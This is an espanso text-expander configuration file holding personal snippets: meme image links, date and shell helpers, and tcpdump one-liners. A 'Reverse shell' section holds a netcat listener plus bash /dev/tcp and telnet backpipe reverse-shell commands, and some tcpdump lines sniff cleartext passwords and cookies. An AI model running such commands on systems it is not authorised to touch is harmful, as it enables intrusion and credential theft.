default.yml 4.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163
  1. # espanso configuration file
  2. # This is the default configuration file, change it as you like it
  3. # You can refer to the official documentation:
  4. # https://espanso.org/docs/
  5. # Matches are the substitution rules, when you type the "trigger" string
  6. # it gets replaced by the "replace" string.
  7. toggle_key: OFF
  8. matches:
  9. - trigger: "smorc"
  10. replace: "SMOrc"
  11. - trigger: "smha"
  12. replace: "SMOrc HahaShrugRight"
  13. - trigger: ":poo"
  14. replace: "Poooound"
  15. - trigger: "omg"
  16. replace: "https://raw.githubusercontent.com/SpectralOps/senv/master/media/omg.webp"
  17. - trigger: "coco"
  18. replace: "https://avatars.githubusercontent.com/u/9960400?v=4"
  19. - trigger: "пальма"
  20. replace: "https://static.pepper.ru/comments/content/dY6Ro/4102774.jpg"
  21. - trigger: ":аромат"
  22. replace: "https://static.pepper.ru/comments/full_screen/L2rHM/4196699.jpg"
  23. - trigger: "трусы"
  24. replace: "https://static.pepper.ru/comments/full_screen/OFWY1/4129293.jpg"
  25. - trigger: ":бан"
  26. replace: "https://static.pepper.ru/comments/full_screen/uAVQP/4142000.jpg"
  27. - trigger: ":botox"
  28. replace: "https://static.pepper.ru/comments/content/ptDax/4236493.jpg"
  29. # Simple text replacement
  30. - trigger: ":espanso"
  31. replace: "Hi there!"
  32. - trigger: ":paste"
  33. replace: "paste.debian.net"
  34. # Reverse shell
  35. - trigger: ":nc"
  36. replace: "nc -l -n -vv -p 8080"
  37. - trigger: ":reverse-bash"
  38. replace: "/bin/bash -i > /dev/tcp/{{ip}}/8080 0<&1 2>&1"
  39. vars:
  40. - name: ip
  41. type: match
  42. params:
  43. trigger: ":vpn"
  44. - trigger: ":reverse-telnet"
  45. replace: "mknod backpipe p && telnet {{ip}} 8080 0<backpipe"
  46. vars:
  47. - name: ip
  48. type: match
  49. params:
  50. trigger: ":vpn"
  51. # Dates
  52. - trigger: ":date"
  53. replace: "{{mydate}}"
  54. vars:
  55. - name: mydate
  56. type: date
  57. params:
  58. format: "%d.%m.%Y"
  59. # Shell commands
  60. - trigger: ":shell"
  61. replace: "{{output}}"
  62. vars:
  63. - name: output
  64. type: shell
  65. params:
  66. cmd: "echo Hello from your shell"
  67. - trigger: ":vpn"
  68. replace: "{{output}}"
  69. vars:
  70. - name: output
  71. type: shell
  72. params:
  73. cmd: ip --json address | jq --raw-output '.[] | select(.ifname == "tapvpn") | .addr_info[] | select(."family" == "inet") | .local'
  74. - trigger: ":lisp"
  75. replace: "https://i.redd.it/cp8lwaue6ca51.jpg"
  76. - trigger: ":pstree"
  77. replace: "ps -aef --forest"
  78. - trigger: ":repquota"
  79. replace: "repquota --verbose --all --no-names --group --project --human-readable"
  80. - trigger: ":tcpdump-ssh"
  81. replace: "tcpdump 'tcp[(tcp[12]>>2):4] = 0x5353482D'"
  82. - trigger: ":tcpdump-dns"
  83. replace: "tcpdump -vvAs0 port 53"
  84. - trigger: ":tcpdump-ftp"
  85. replace: "tcpdump -vvAs0 port ftp or ftp-data"
  86. - trigger: ":tcpdump-ntp"
  87. replace: "tcpdump -vvAs0 port 123"
  88. - trigger: ":tcpdump-pass"
  89. replace: "tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user '"
  90. - trigger: ":tcpdump-evil"
  91. replace: "tcpdump 'ip[6] & 128 != 0'"
  92. - trigger: ":tcpdump-http-cook"
  93. replace: "tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'"
  94. - trigger: ":tcpdump-http-head"
  95. replace: "tcpdump -vvAls0 | grep 'Host:'"
  96. - trigger: ":tcpdump-http-get"
  97. replace: "tcpdump -vvAls0 | grep 'GET'"
  98. - trigger: ":tcpdump-http-user"
  99. replace: "tcpdump -vvAls0 | grep 'User-Agent:'"
  100. - trigger: ":tcpdump-syn"
  101. replace: "tcpdump 'tcp[13] = 6'"
  102. - trigger: ":tcpdump-fin"
  103. replace: "tcpdump 'tcp[tcpflags] == tcp-fin' # tcpdump 'tcp[13] & 1!=0'"
  104. - trigger: ":tcpdump-psh"
  105. replace: "tcpdump 'tcp[tcpflags] == tcp-push' # tcpdump 'tcp[13] & 8!=0'"
  106. - trigger: ":tcpdump-ack"
  107. replace: "tcpdump 'tcp[tcpflags] == tcp-ack' # tcpdump 'tcp[13] & 16!=0'"
  108. - trigger: ":tcpdump-urg"
  109. replace: " tcpdump 'tcp[tcpflags] == tcp-urg' # tcpdump 'tcp[13] & 32!=0'"
  110. - trigger: ":tcpdump-synack"
  111. replace: "tcpdump 'tcp[13]=18'"
  112. - trigger: ":tcpdump-syn"
  113. replace: "tcpdump 'tcp[tcpflags] == tcp-syn' # tcpdump 'tcp[13] & 2!=0'"
  114. - trigger: ":tcpdump-rst"
  115. replace: "tcpdump 'tcp[tcpflags] == tcp-rst' # tcpdump 'tcp[13] & 4!=0'"
  116. - trigger: "goaccess..."
  117. replace: "goaccess --log-format=COMBINED"
  118. - trigger: "reboot..."
  119. replace: "sh -c 'sleep 600; echo b > /proc/sysrq-trigger; reboot' &"